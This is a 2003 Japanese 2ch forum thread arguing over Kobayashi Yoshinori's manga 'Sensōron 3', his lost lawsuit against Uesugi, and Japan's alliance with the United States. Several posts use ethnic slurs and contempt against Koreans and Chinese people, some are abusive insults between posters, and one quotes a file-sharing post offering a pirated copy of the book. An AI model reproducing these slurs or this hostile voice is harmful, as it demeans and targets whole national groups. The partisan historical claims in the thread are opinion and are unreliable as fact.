犬臭い

786 :名無しかましてよかですか?:03/07/31 23:50 ID:m6pStm68
キムチ臭い

787 :名無しかましてよかですか?:03/07/31 23:55 ID:8BXkQqQx
>>784
そうせざるをえなくなったのは西洋列強のアジア侵略のせいでしょ?

788 :Revolution21 ◆MDJSLFlnFs :03/07/31 23:57 ID:42wyuCVO
>彼らは独立のために日本を利用したんだ

スカルノやパクチョンヒには打算があったと言われます。
しかし一般民衆は単に略奪や強制連行、徴用などで搾取されました。

>教育と訓練と現地人の登用を行ったことが決定的な違いだ

すべて含めてインフラです。
列強も、学校を作ったり留学を促して現地人を教化しておりました。
第三世界では、旧宗主国の言語が公用語になっておりますね。
ちなみに日本のそれは、使い捨ての歩兵や労働者を生産するためのものでした。
そもそも近代の学校というのは工場労働者を育成するのがプロットなのですが、
侵略地における学校がその傾向を強めるのは言うまでもありません。

789 :名無しかましてよかですか?:03/07/31 23:58 ID:zDcuejYf
まぁ、小林信者はオウム信者みたいなもんだが、
どうせ何かを変えられる力もないし、
親米のように社会に迷惑をかける事もねえし、
ひっそりと戦争論読んで感動してるだけだから
いいんだけどな。

790 :名無しかましてよかですか?:03/07/31 23:59 ID:jBAxo3xp
太平洋戦争=戊辰戦争
大日本帝国=徳川幕府
特攻隊=新撰組
薩長=米英
慶喜=昭和天皇
勝てば官軍なんだよ。


791 :名無しかましてよかですか?:03/08/01 00:06 ID:XJZk0GhJ
なぁ、観念に振り回されるのはヤメようじゃないか。金正日がテポドン発射しようが、中国が暴走しようがどーせいつか死ぬんだから。払わなくていい金をよしもりに払うのはやめよう

792 :名無しかましてよかですか?:03/08/01 00:09 ID:MvCs8ci5
>>784

日本は議会が機能し続け
政権が交代してたよ。

つーか 戦争論2に詳しく書いてるやん。

793 :名無しかましてよかですか?:03/08/01 00:14 ID:C7AIuKTf
>チョンに文明を与えた事だけが祖父達の罪。つくづく悔やまれる

よく考えたら併合反対派の伊藤を殺したのもチョンなわけでそうなると
別に祖父達のせいではないな。   ....かな?

794 :名無しかましてよかですか?:03/08/01 00:15 ID:OVn/l4rD
  ∧_∧
 <=( ´∀`)>彡  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ( O   )   < チョソチョソいってる嫌韓厨は
 ││ │     | 結局自分の出自に自信持てないヤシ!
 (__(__)     \_____________

795 :名無しかましてよかですか?:03/08/01 00:18 ID:C7AIuKTf
チョンはチョンだからチョンチョン言われる訳でチョンである事を恥じて
1日も早くチョンから立ち直って下さい

796 :名無しかましてよかですか?:03/08/01 00:23 ID:MvCs8ci5
>>788
そのインフラ精神がインディアンに使われなかったのが悔やまれてならない。

797 :名無しかましてよかですか?:03/08/01 00:24 ID:a6+CSPtd
つうか3回読まなきゃ理解できんよ。

798 :名無しかましてよかですか?:03/08/01 00:32 ID:ytByUjqu
アメリカに逆らってはいけません!とゆう風にしか思えない。
イラクみたいになっちゃう。
アメリカを黙らせる事ができるのはエイリアンだけです。

799 :名無しかましてよかですか?:03/08/01 00:45 ID:nHCh1EWV
小林とコヴァには、小林を批判するヤツは全員親米、アメリカ追従、
アメリカが守ってくれればそれでよしと思ってる奴ら、って見えちゃってるのがバカ。
そんな極端な考え方だから、信者ってバカにされちゃうんだよ。
そんな知能障害のヤツなんて数えるほどしかいないのに、
自分がそうじゃないからって自分に酔っちゃってて、熱弁をふるう。
「これだから親米は・・・やれやれ」ってつぶやいて満足して、
戦争論から仕入れた知識や用語をせっせと使う。
きっとコヴァの周りのヤツは迷惑してるだろうなぁ。

800 :名無しかましてよかですか?:03/08/01 00:47 ID:7dBCgAec
コヴァポチって知識がゴー宣しかないから、
ゴー宣にない情報を前にすると、見当違いのレスをつける
しかないのが悲しいね。

801 :名無しかましてよかですか?:03/08/01 00:53 ID:UaH7nKFk
はーい、初心者コヴァでーす。799はなんか個人的な恨みでも持っ
てんですかね?とりあえず小林よしのりの漫画が入り口になって
自分なりに調べれば問題ないと思うが。
裁判負けたけどありゃひどいね。上杉の本見たけど絵を引用して
ちゃかしてるだけ。それで商売してんだから呆れる。上告まだ
できんのかな?


802 :日大商4年:03/08/01 00:56 ID:pmnG0MgC
とりあえず、ゴーマニズム宣言の上杉本関係について。

http://plaza25.mbn.or.jp/~hinode_kogei/go_gif/go55_01.gif
http://plaza25.mbn.or.jp/~hinode_kogei/go_gif/go103_01.gif
http://plaza25.mbn.or.jp/~hinode_kogei/go_gif/go55_02.gif
http://plaza25.mbn.or.jp/~hinode_kogei/go_gif/go103_02.gif
http://plaza25.mbn.or.jp/~hinode_kogei/go_gif/go55_03.gif
http://plaza25.mbn.or.jp/~hinode_kogei/go_gif/go103_03.gif
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http://plaza25.mbn.or.jp/~hinode_kogei/go_gif/go103_19.gif
http://plaza25.mbn.or.jp/~hinode_kogei/go_gif/go55_04.gif
http://plaza25.mbn.or.jp/~hinode_kogei/go_gif/go103_11.gif
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http://plaza25.mbn.or.jp/~hinode_kogei/go_gif/go103_16.gif
http://plaza25.mbn.or.jp/~hinode_kogei/go_gif/go103_18.gif

803 :名無しかましてよかですか?:03/08/01 01:10 ID:6HgqJ9Ui
>>アメリカは日本の為に血を流さない
絶対流します。流さないと考える方が無理がある。こじつけにすぎない。
でなければアフガン、イラク、ベトナム、朝鮮、内戦介入諸々のアメ公の血は流れたはず。
感情論で流すはずがないと思い込みすぎ。
かといって、日本は何もしなくていいじゃなく、日本は直実に軍備を揃え、9条を書き換え集団的自衛権を認める。
とりあえず、今のアメリカに付いてれば「普通の国」への道は開かれやすい。小林の言ってることなんか
まともだけど遠回り。アメリカを敵にまわして、品、半島が黙って軍備増強を見逃すはずが無い。
それこそ、今のままだね。あくまでも今のアメリカでだ。

804 :名無しかましてよかですか?:03/08/01 01:10 ID:o4lgRNYs
様々な価値観が相対化されて
あちらをたてればこちらがたたずみてーな状況になってるわけなんだけど
戦争論3読んでて
結局日本に有利な価値観のみをよせあつめてるだけじゃねーかと思ったりして

805 :名無しかましてよかですか?:03/08/01 01:14 ID:nHCh1EWV
>>801
そりゃ調べれば問題ない。調べられるのなら。
頭ん中に入れて、それを客観的に自分で判断出来るのなら。
しかし、戦争論読んで、涙をためて感動しながら、アメリカ憎し
なんて言っちゃってるヤツには、その可能性は低いね。

確かに小林のマンガは超一流だから、ボケッと読んでると
洗脳された事すら気づかないかもしれんが、本当にそうなのかどうかを
自分で判断しないと、ホントに危険だと思うね。

806 :名無しかましてよかですか?:03/08/01 01:21 ID:ujc5CVb8
アメリカとくっついてる方が一番平和で楽なんだよ。実際そうだろ。
チョンどもと付き合っても百害あって一利なし。

807 :名無しかましてよかですか?:03/08/01 01:30 ID:0iI3EiZn
>804
>結局日本に有利な価値観のみをよせあつめてるだけじゃねーかと思ったり

それでいんでない?これからはむしろソレダ!
>805
図書館通うようになったしその点では感謝してるな俺は。
ただ中国や朝鮮に謝る価値観やアメリカの戦争はまともだとか
日本は侵略しまくったとかそーゆー価値観が横行して今まで
なんとなく洗脳されてた訳だしどうせ洗脳されんなら小林戦争論の
価値観の方が良いなと思った。

808 :名無しかましてよかですか?:03/08/01 01:30 ID:DCp8dQMu
【社会】ゴーマニズム敗北?小林よしのり氏逆転敗訴で賠償金と謝罪広告の判決

http://news2.2ch.net/test/read.cgi/newsplus/1059655551/

左翼の皆さん、ピンチですよ。
数少ない「売れる反米の本」を出してくれる作家こと小林よしのりが
今回の件でペンを折ってしまうかもしれませんよ。
2chで反米の意見が多いのも、ある意味小林にいまだに影響されている
真性のコヴァ共の書き込みのおかげかもしれないのにね。

最近左翼になりかけてた小林を、左翼の上杉が潰してしまうという、親米保守達に
とっては笑いが止まらないこの状況。2chが親米一色に染まる日も近い。



809 :名無しかましてよかですか?:03/08/01 01:35 ID:TeFkI9hA
今回は、18禁にした方が良い内容だな。 そのまんま読むと、リアルでBRUみたいな事をやる奴が出てきそう。 とりあえず要約すると、アメリカを盲信するな、付いて行くなら後先考えて行けと言う意味です。

810 :_:03/08/01 01:36 ID:ScbDtPKb
http://homepage.mac.com/hiroyuki44/

811 :名無しかましてよかですか?:03/08/01 01:45 ID:nV8bDAlC
>>803
日本が経済的にも弱くなっていったときに、アメリカは日本の為に血を流すか?ということ。
なぜ絶対にアメリカが助けてくれると思う?何処にその保障がある?ただそう思いたいだけでしょ?
アメリカは警察でない。国益にかなわんことなら国際法まで捻じ曲げて正義という国だ。
常に想像しうる最悪の事態を想定しなければならないのは当たり前じゃない。
>とりあえず、今のアメリカに付いてれば「普通の国」への道は開かれやすい。小林の言ってることなんか
>まともだけど遠回り。アメリカを敵にまわして、品、半島が黙って軍備増強を見逃すはずが無い。
>それこそ、今のままだね。あくまでも今のアメリカでだ。
普通の国ってなに?俺にはどんどん追従の深みにはまっていってるとしか見えないんだけど。
アメリカを敵に回すっていうけど、国と国は適度な衝突は不可避で、それを解決するのが外交じゃない。
アメリカを敵に回すなって事は、今の外交は、アメリカ強いからアメリカべったりでokみたいに聞こえるんだけど。
半島を気にして軍備増強をしない国が、いつ軍備増強できるんよ。ただの言い訳。
今のアメリカが悪化していくっていう選択肢も十分ありえるんよ。

812 :名無しかましてよかですか?:03/08/01 02:00 ID:nHCh1EWV
>>807
まー、反日米追従バカを生み出すよりは、反米の方がマシだからな。
でも、あんたはある程度自分を客観的に見れてるじゃん。
そっからもう一歩進んで欲しいと思うわけです。

誰かの価値観をそのまんま受け入れる危険性と、
小林の言ってる正しい事間違ってる事を見極めないと。

813 :名無しかましてよかですか?:03/08/01 02:05 ID:6uKBm8yL
コヴァの特徴=コヴァ同士はお互いを小馬鹿にしあってるw

814 :名無しかましてよかですか?:03/08/01 02:07 ID:6HgqJ9Ui
>>811
>半島を気にして軍備増強をしない国が、いつ軍備増強できるんよ。ただの言い訳
国内反動分子も含めてだ。軍備増強論がまだまだ弱いため、他力本願は否めない。好機を逃すなということ。
>今のアメリカが悪化していくっていう選択肢も十分ありえるんよ。
そのときまでに法整備、核装備出来てたらオサラバ。それよりそうなったら、世界経済危機。
>普通の国ってなに?俺にはどんどん追従の深みにはまっていってるとしか見えないんだけど
それは小林の本だけ読んでるから?他の本、新聞も読みましょう。見方は多角的にね。選択肢を萎めてしまってる
のはあなた自身。楽観論もあります。普通の国は普通の国です。説明不可。一般論です。

815 :名無しかましてよかですか?:03/08/01 02:09 ID:ujc5CVb8
お坊茶魔くんは中立派とみたばい

816 :名無しかましてよかですか?:03/08/01 02:09 ID:cVSrTYw8
>812
それです。
小林に洗脳されてるのは気づいているのですが、どこが真実でどこが虚偽なのかを知る方法が少ない。
それを自分で確認するには小林以上に資料を集めなくてはならないので時間もかかる。
結局あきらめてしまう私。

817 :名無しかましてよかですか?:03/08/01 02:10 ID:764/ZF6o
ところで皆さん。このサイト見て
どう思いますか?
http://www.max.hi-ho.ne.jp/cgi-bin/user/li_zhu/cnjpbbs.cgi


818 :名無しかましてよかですか?:03/08/01 02:22 ID:nV8bDAlC
>国内反動分子も含めてだ。軍備増強論がまだまだ弱いため、他力本願は否めない。好機を逃すなということ。
好機なんてミサイルぶち込まれないとうまれないって。いつまで待つの?ミサイル打ちこまれるまで?
>そのときまでに法整備、核装備出来てたらオサラバ。それよりそうなったら、世界経済危機。
オサラバできるまでが問題だって。今はついていくって選択した瞬間にある一定の未来もついていくって事だろ?悪化してもついていくって道に進んでるんよ。
>それは小林の本だけ読んでるから?他の本、新聞も読みましょう。見方は多角的にね。選択肢を萎めてしまってる
>のはあなた自身。楽観論もあります。普通の国は普通の国です。説明不可。一般論です。
楽観論もあるとしてもそれがどうしたの?おれは追従の深みにはまってるって意見を言ってるから君は普通その楽観論を言うべきでしょ?
あと、一般論が説明ってことでしょ?付加じゃないじゃん。一般論で説明してよ。

819 :名無しかましてよかですか?:03/08/01 02:26 ID:6HgqJ9Ui
>>811
>なぜ絶対にアメリカが助けてくれると思う?何処にその保障がある?ただそう思いたいだけでしょ?
アメリカは警察でない。国益にかなわんことなら国際法まで捻じ曲げて正義という国だ。
常に想像しうる最悪の事態を想定しなければならないのは当たり前じゃない。
絶対に助ける?書いてないこと言うな。血を流すだ。あと集団的自衛権を行使して日本も戦うって事。
自国だけで勝てるなら問題ないが、戦争は勝たなきゃ意味ないんだよ。奇麗事は通用しません。
同盟も懐疑的に見るのは当たり前。分かった上での話し。俺が言いたいのは方法論だ。
精神論だけでは通用しないのが外交であり、戦争だ。

820 :名無しかましてよかですか?:03/08/01 02:30 ID:9h8iRsLQ
>>816
ところで虚偽があるというところだけは確信があるの?
だとしたらなぜ?

821 :名無しかましてよかですか?:03/08/01 02:39 ID:6HgqJ9Ui
>オサラバできるまでが問題だって。今はついていくって選択した瞬間にある一定の未来もついていくって事だろ?悪化してもついていくって道に進んでるんよ。
まず何故にそこまでネガティブなのかが理解不能。じゃぁ君の言うとおり反米かましてそのあとのビジョン描きなさい。今のアメリカを見て弱くなる、もしくは
孤立無援になり弱小国に成り下がるとでも?あの国が?一万歩譲って、なったしましょう。で、日本はありえるの?資源は?シーレーンは?品からの軋轢に
どう対応するの?既に核武装してる国に。

822 :名無しかましてよかですか?:03/08/01 02:41 ID:CDdumJ2L
読んだヨー。面白かったネ

823 :名無しかましてよかですか?:03/08/01 02:47 ID:5cF/ZcI/
なんにせよ洗脳教育段階の香具師らに
「考えるきっかけ」をあたえる本書は、それだけで価値があると思う。
人間は考える動物だし、考えることをやめた人間は、プライドが無い。

とりあえず、戦争論3を読んでの俺の感想としては、誇りを持てっつうトコです。
こんなクソみたいな掲示板にカキコしてるクソみたいな俺ん中にも
祖父や祖母、さらにその先祖たちが必死になって守ってきたものがあるんだし
もう一度ソレを見つめて、認識して、その上で自分を肯定できるだけのモノを手に入れたいと思う。


824 :名無しかましてよかですか?:03/08/01 02:52 ID:6HgqJ9Ui
>好機なんてミサイルぶち込まれないとうまれないって。いつまで待つの?ミサイル打ちこまれるまで?
極論好きの得意パターンだね。有事法制が成立したのは追従のおかげでもあるからね。拉致も。
あと他力本願が嫌いみたいだけど、費用対効果とか考えたことある?

何度も細かくスマソ 若干眠い

825 :名無しかましてよかですか?:03/08/01 02:53 ID:RW0QIszG
よしりんは、何から何まで大東亜戦争を肯定的に評価してるのが良かった。
そうだよね!悪いのはアメリカだよ!糞アメ公め!
俺たちの祖先まぢカッコいいじゃん!見直したよ!
それからマスゴミの虚偽報道、ほんとムカつくな!
よしりんの本を読んでる人だけが、真実を知ることが出来るし、
知ったら知ったでムカつくけど、俺はこの本を他人に広める事で、
少なからず日本の将来の為に貢献するよ。
いや〜ほんと最高の一著だった。よしりんは間違いなく100年後も名前が残る
言論人になるだろうね。そしてその100年後にはお札の顔だなこりゃ。

826 :名無しかましてよかですか?:03/08/01 03:06 ID:nV8bDAlC
>>819
>絶対に助ける?書いてないこと言うな。血を流すだ。
?貴方にとってアメリカが日本のために血を流すってことは、日本を助ける以外に何?
>自国だけで勝てるなら問題ないが、戦争は勝たなきゃ意味ないんだよ。奇麗事は通用しません。
だからこそ今独立なんだよ。もちろん同盟破棄なんて意味ないことを含めず、軍備増強、憲法改正。
今しないとずるずるアメリカについていくだけ。いつ「その時」がくるかわからん。
>俺が言いたいのは方法論だ
だからその方法じゃ、いつまでたってもアメリカ追従から抜け出せないって。ずっとアメリカ最強だったらどうすんの?
ずっと敵に回す気概もなしにどう軍備すんの?
>精神論だけでは通用しないのが外交であり、戦争だ。
精神ってなに?
>まず何故にそこまでネガティブなのかが理解不能。じゃぁ君の言うとおり反米かましてそのあとのビジョン描きなさい。今のアメリカを見て弱くなる、もしくは
>孤立無援になり弱小国に成り下がるとでも?あの国が?一万歩譲って、なったしましょう。で、日本はありえるの?資源は?シーレーンは?品からの軋轢に
>どう対応するの?既に核武装してる国に。
あ〜、悪化ってことは弱小化じゃなくて、まさにケーガンの論文に則って行動しだすってことよ。
あ、あと普通の国の説明も希望。

827 :名無しかましてよかですか?:03/08/01 03:11 ID:nV8bDAlC
>極論好きの得意パターンだね。有事法制が成立したのは追従のおかげでもあるからね。拉致も。
>あと他力本願が嫌いみたいだけど、費用対効果とか考えたことある?
極論好きって。。。有事は極論から出発するから有事なんしょ?
費用の問題だってそう。もしポチを抜け出して将来は独立を!って思ってるならそれくらいあたりまえと思う気概がないのかね。
「覚悟なき親米」

俺も明日眠い。てか明日サークルの合宿だし寝る。




828 :名無しかましてよかですか?:03/08/01 03:11 ID:kVa2902l
>とりあえず、戦争論3を読んでの俺の感想としては、誇りを持てっつうトコです。

プライドを持つことと実力もない奴が傲慢に振る舞って「俺って誇り高いだろ?」
と世にも醜い勘違いを曝し上げ世間様に迷惑をかけまくってるわりに鈍感なので
自らの醜態に気付かない、のとでは 天 と 地 ほ ど も 違 い ま す 。

つーか「ゴー宣」は一昔前に流行った【駄目な自分を慰めて自信をつけてくれる】
という屁垂れな目的で駄目人間がこぞってカラオケで歌いまくった「応援歌ポップス」か?

829 :名無しかましてよかですか?:03/08/01 03:15 ID:nV8bDAlC
>>828
ゴー宣は祖先への感謝と尊敬へ誘う書。
祖先への感謝と尊敬を忘れなければ、現在の俺達の身の処し方もわかる。
誇りをもつってことは、祖先に恥じない行動をすると言う事だと理解してる。
慰めでなく、自律。

830 :名無しかましてよかですか?:03/08/01 03:22 ID:b2UM0MEB
大東亜戦争肯定も極端にもみえる反米も日本の思想に必要な
ある意味「右の極点」
こういう言説もあるということは国民の思想の幅を広げる

831 :名無しかましてよかですか?:03/08/01 03:27 ID:6HgqJ9Ui
>あ、あと普通の国の説明も希望。
嫌です。
>精神ってなに?
分からないの?
>貴方にとってアメリカが日本のために血を流すってことは、日本を助ける以外に何?
つまるところ、アメリカの国益です。
>だからその方法じゃ、いつまでたってもアメリカ追従から抜け出せないって。ずっとアメリカ最強だったらどうすんの?
ずっと敵に回す気概もなしにどう軍備すんの?
アメリカ最強がそんなに嫌か?アメリカ敵に回しての日本の国益は?あと、費用対効果も。あ、あと資源は?シーレーンは?
日本が孤立しない保障は?今の世界の情勢を見極めてから判断してくださいね。反米かましても、結局は新米にならざるを
えない状況だとは思うのだが。理念はご立派ですが、現実と乖離しすぎですね。

832 :_:03/08/01 03:33 ID:ScbDtPKb
http://homepage.mac.com/hiroyuki44/

833 :名無しかましてよかですか?:03/08/01 03:36 ID:cOhRIsT0
様々な意見がでてますが、
偉そうにうんちく垂れてる方なんかは本を出版すれば売れると思うぞ

834 :名無しかましてよかですか?:03/08/01 03:50 ID:6HgqJ9Ui
>費用の問題だってそう。もしポチを抜け出して将来は独立を!って思ってるならそれくらいあたりまえと思う気概がないのかね。
「覚悟なき親米」
ポチと揶揄してる君は一体現実と夢との区別が付かないくらいに夢遊病なんだね。
明日から独立します!と叫んで出来るわけないでしょ?物事には順序があるんです。

眠い。ねる。

835 :名無しかましてよかですか?:03/08/01 05:24 ID:oQC7Zg1X
ID:6HgqJ9Uiは戦争論3を読んでから言ってくれないと、
間違いが多すぎて面倒くさいぞ。

836 :名無しかましてよかですか?:03/08/01 06:13 ID:OattqMU2
正直、地球の裏側の国で何があろうとどうでもいい

837 :名無しかましてよかですか?:03/08/01 06:44 ID:UR7Teyrd
なんで親米だといけないの?
頼もしくていいじゃん、アメリカって。

838 :名無しかましてよかですか?:03/08/01 06:59 ID:nV8bDAlC
>>あ、あと普通の国の説明も希望。
>嫌です。
嫌なら書くな。
>>精神ってなに?
>分からないの?
分からんから聞いてるのが分からない?曖昧過ぎるから意味を限定して欲しい。
>アメリカ最強がそんなに嫌か?アメリカ敵に回しての日本の国益は?
最強のアメリカが日本の国益に合わないことをした時に、ポチであれば追従するしかないでしょ?牙ないんだから。
それが独立国か?っつー話。別に積極的に敵にするんじゃなくて、主従関係でない関係にすることを目指すだけ。
>日本が孤立しない保障は?今の世界の情勢を見極めてから判断してくださいね。
情勢を見て判断してるに決まってるでしょ。費用だって本来なら自国が払うべきものだし、孤立とかいってるけど、
どういう状態が孤立っていうの?経済的には相互依存関係にあるし。もし孤立ってのがあるとしても、だからこそそこで外交しなければいけない。
上手く外交する力を、独立国になるのであれば、つけなければいけない。
>反米かましても、結局は新米にならざるをえない状況だとは思うのだが。
>理念はご立派ですが、現実と乖離しすぎですね。
それがポチだっての。状況を状況として片付けてはなんの発展性もない。
状況を破る理念を構築し、状況に追従する以外の手段を模索し、それを実行するのが国家だろ。
それを所詮理念と笑うなら笑えばいい。でも俺は現実のみを国家の取る手段と決めつける態度は寒気がする。
しかもその現実とやらもそうとう理念で固められてること(米にくっつけが万事オッケイ)をお忘れなく。
>ポチと揶揄してる君は一体現実と夢との区別が付かないくらいに夢遊病なんだね。
>明日から独立します!と叫んで出来るわけないでしょ?物事には順序があるんです。
順序順序といいつつ、泥沼にはまりこみ、結局「その時」を向える可能性が高いって。
具体的にいつよ。いつどんな時にポチやめられるのよ。結局今も将来も変わらないって。
んじゃ、今その動きを起こすのが一番いい。

では出発。

839 :名無しかましてよかですか?:03/08/01 07:19 ID:4oxG9wr8
日本はアメリカにひどい目に有ったが仲良くしなければいけません。
アメリカの罪を許す事は日本のアジアに対する罪の償いのひとつ。


840 :名無しかましてよかですか?:03/08/01 07:43 ID:6BRS/A9r
主要閣僚経歴
ブッシュ大統領     石油企業アルプスト・エネルギー創設、石油企業ハーケン重役
チェイニー副大統領   石油企業ハリバートン会長兼最高経営責任者、国防長官(湾岸戦争時)
(チェイニー夫人)   軍需企業ロッキード・マーチン重役
ラムズフェルド国防長官 ロッキード・マーチンのシンクタンク・ランド゛コーポ゜レーション理事長*、国防長官(フォード゛政権時)
パウエル国務長官    統合参謀本部議長(湾岸戦争時)
アーミテージ国務副長官 軍人出身/国防次官補(レーガン政権時)
エバンズ商務長官    石油企業トム・ブラウン社長
ライス国家安全保障担当補佐官  石油企業シェブロン重役
イングランド海軍長官  軍需企業ゼネラル・ダイナミクス副社長
ロッシュ空軍長官    軍需企業ノースロップ・グラマン副社長
ホワイト陸軍長官    退役軍人/エンロン・エネルギー・サービス副会長


841 :名無しかましてよかですか?:03/08/01 08:32 ID:qYIbzd7E
コヴァから一般人へのプロセス

小林の本に感動する

小林の本に違和感を感じる

コヴァだった自分に恥じらいを感じる

小林の本に嫌悪感を感じる

いつかは笑って読めるようになる

大丈夫。いま小林信者の奴らも半年後にはこうなってる。賭けてもいい。

842 :名無しかましてよかですか?:03/08/01 08:35 ID:qYIbzd7E
>801
> 裁判負けたけどありゃひどいね。上杉の本見たけど絵を引用して
> ちゃかしてるだけ。
 
ちゃかしちゃいけない本は、聖書かコーランだけ(w
自分は根っからの信者ですと暴露しただけだな(ww

843 :名無しかましてよかですか?:03/08/01 09:35 ID:2qPMTjTf
これ以降のNGワード
「ポチ」「コヴァ」「サヨ」「ウヨ」「信者」

スタート
↓↓↓↓↓↓

844 :名無しかましてよかですか?:03/08/01 09:44 ID:zSL1AX0I
>>843
チョンが偉そうにいうんじゃねーよ。ボケ。

845 :名無しかましてよかですか?:03/08/01 09:47 ID:Fkuc0UtC
>>838
日本が自主防衛を確立するのに今現在共和党のブッシュのアメリカは反対しない。反対なのは中国や朝鮮
のご機嫌取りが利権にもなっている自民党保守本流であると今のわしズムにも書いてあるじゃない。
小林は口で自立を唱えても古賀を支持してたら意味ない。
言ってる事と行動がバラバラというのは物書きには珍しくない批判。

846 :名無しかましてよかですか?:03/08/01 10:07 ID:0kiZE7zq
幕末の時ポチ保守のような奴等ばかりだったら
日本は奴隷国になってただろうな、
損得だけ考えて理念もたないと相手に
舐められる。

847 :名無しかましてよかですか?:03/08/01 10:09 ID:veMLMRM2
ひろゆき氏、賠償金などの支払いで借金だらけ。とうとう、2chも管理人の都合で閉鎖するそうだ。駄スレばっか見ずに、2ch閉鎖について真面目に語ろう。
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
http://travel.2ch.net/test/read.cgi/kyoto/1059660239/l50

848 :名無しかましてよかですか?:03/08/01 10:27 ID:4H0x8LkB
>>842
つまりちゃかしてるだけの本だと認めてる訳だ。
ちゃかすだけで本を書いちゃいけないという規則はないが
「無断引用してそれをやってる事が非難されてる」んだが。小林も初期の
ゴー宣では似たような(ちゃかす)内容だったが自分で労働して(自分で
絵を描いて)製作している。
>ちゃかしちゃいけない本は、聖書かコーランだけ(w
なぜアンタの頭の中でそーゆー世界基準ができあがっているのかは
知った事ではないがな。
俺の常識ではモラルとして対象を吟味する必要があってラインを取り決める
事が大事だと思う。まともな感性を持ってるなら特攻隊の遺書や詩集もそれ
に加えてくれや。
俺は聖書もコーランもちゃかす気はないが、別にどうでもいい存在。

>自分は根っからの信者ですと暴露しただけだな(ww

訳分らん。そういう思考の持ち主なんだろうが・・・ま。言うまい

849 :名無しかましてよかですか?:03/08/01 10:57 ID:2qPMTjTf
>>544
ああ、「チョン」を忘れてた。

850 :名無しかましてよかですか?:03/08/01 11:05 ID:6HgqJ9Ui
>>838
完璧な信者だな。揚げ足ばかりで自分の意見と違うとアフォかと思うくらいに噛み付く。
普通の国とは自分の国は自分の国で守り、国家主権を明確に持つという感じかな?文化、伝統なんかも。
小林のその部分は誰でも分かってるはずで、殊更、強調するほどのことではない。
じゃぁ北はどうなんだ?「放っておけばいい」だけか?拉致問題に対しての言及が無さ過ぎる。
産経の貢献など認めたくも無い訳か?「自衛隊を出兵して取り戻せばいい。戦争する覚悟が必要。」
なんか誰でも分かってるぞ!わかってても出来ない状況だからみんな苦労してんだ。アフォだろ。
いつポチから脱出だぁ?憲法改正してからに決まってるだろ?アフォだな。占領軍が決めた憲法を独立後も
踏襲してるからおかしくなってるのが今の状態だろ?アフォだろ。
資源のない国がどないして生活するんだ?ヴォケ!シーレーンの確保はどうすんだ?んぁあ?珍粕だな。
今のままの自衛隊にそれだけの力があるとでも思ってんのか?お前の言ってるやり方ではリスクが高いねん!粕め・。
小林の請け売りだらけで自分の言葉がないんだよ!うんこ!判断基準が小林だけだからおかしんだよ珍粕!
一生、ついてけ!氏ぬまで吠えとけ!うんこ!




851 :日大商4年:03/08/01 11:15 ID:pmnG0MgC
スレが立てにくくなってるみたいだから、
誰か早めにスレ立てといて。以下の内容で。

新・ゴーマニズム宣言special「戦争論3」part2

★過去ログ
新・ゴーマニズム宣言スペシャル「戦争論3」
http://tmp.2ch.net/test/read.cgi/kova/1059019652/
△◇▽戦争論3について△◇▽
http://tmp.2ch.net/test/read.cgi/kova/1058947955/

852 :名無しかましてよかですか?:03/08/01 11:19 ID:KQ+VMfKC
>>849
プ
でも、チョンだからしょうがないか。

853 :名無しかましてよかですか?:03/08/01 11:20 ID:gG6QIo5J

346 名前:名無し三等兵 本日の投稿:03/07/31 09:01 ID:???
Winnyで放流してる。
(一般コミック) [小林よしのり] 新ゴーマニズム宣言 戦争論3.zip 61,498,509 6f86e3018a104735d1709ce5b44bfdfe

本が傷まない分、立ち読みよりはましだから、立ち読みで済ませる予定の人は
これで読んでくれ。


854 :日大商4年:03/08/01 11:27 ID:pmnG0MgC
>>853
とりあえず幻冬舎に密告メールを送りました。

855 :名無しかましてよかですか?:03/08/01 12:03 ID:gQ0nsKS3
今回の戦争論は何万部いくんだろ。
いつも思うんだが、ホントに30万部とか売れてるんだろうか?
ま、俺もなんだかんだで毎回買ってるんだけどさ。
戦争論は3で完結らしいから、次のゴー宣スペシャルは
「反米論」って題になるんだろうかね。

856 :名無しかましてよかですか?:03/08/01 12:49 ID:8r0mjG8v







つーか、本読んでないで批判してる奴多すぎだろ。
弁護する側も流し読みしかしてないし・・・


857 :名無しかましてよかですか?:03/08/01 12:56 ID:dN693gXY
「いきなり独立など無理な話だ、徐々にやっていくしかない」
と言いつつ初めの一歩が出ないポチホシュ

858 :名無しかましてよかですか?:03/08/01 13:05 ID:l650nskF
>>850
気持ち悪いです。

859 :名無しかましてよかですか?:03/08/01 13:15 ID:qU2BWFgK
おまいら「日露戦争物語」(マンガ)もヨメ (^_^)


860 :名無しかましてよかですか?:03/08/01 13:27 ID:qYIbzd7E
>857
独立しろと偉そうなことを言っても、結局政策には反映されない負け犬コヴァ(w

861 :名無しかましてよかですか?:03/08/01 14:04 ID:JRcewR6w
>>859
ヴァカモン!!あんなモン奨めるな!「坂の上の雲」を嫁!!

862 :名無しかましてよかですか?:03/08/01 14:27 ID:5ixwSf3G
>>856
そうそう、甘えてるんだよなあ、ポチは。
例えば、ゼミで対象とする文献読んでないなんていったら半殺しだよ。
脳内小林批判にはうんざり。こいつら以上の馬鹿はいない。
脳の容量が小さいから漫画読んでも内容が把握できないだろうけど。

863 :名無しかましてよかですか?:03/08/01 14:32 ID:6TNqnEso
南京大虐殺はなかったと主張する学者は実在しますか? もし実在するなら
名前を挙げてください。
m9(・∀・)<挙げてください

864 :名無しかましてよかですか?:03/08/01 14:34 ID:Fw/fnZrh
>>859
つまらん
くだらん
歴史を美化しすぎ
先人の苦労が、まるで伝わってこない

>>861
同意。

「坂の上の雲」>>>>>>>>>(超えられない壁)>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>「日露戦争物語(マンガ)」

865 :名無しかましてよかですか?:03/08/01 14:39 ID:JRcewR6w
>>856
>>862
反コヴァは戦争論3を絶対読んでいないと思っているヴァカ2匹ハケーン!!

脳内アメリカ批判でワケ分らなくなってるのは御宅らの教祖サマですが、何か?(w


866 :名無しかましてよかですか?:03/08/01 15:10 ID:kZrohckf
>>862
>ゼミで対象とする文献読んでないなんていったら半殺しだよ

どういうゼミだ(w
ネタにしても半殺しというのはなあ、大学ってそういうところじゃないぜ。
ま、学部や専攻にもよるだろうけど半殺しね、半殺し。

867 :名無しかましてよかですか?:03/08/01 15:10 ID:+70oue/3
>>865

だったら、本文を引用して批判しろよ。
それからシナ人みたいに外国依存症を見せるのやめろよ。
チョン並にキモイから。


868 :日大商4年:03/08/01 15:11 ID:pmnG0MgC
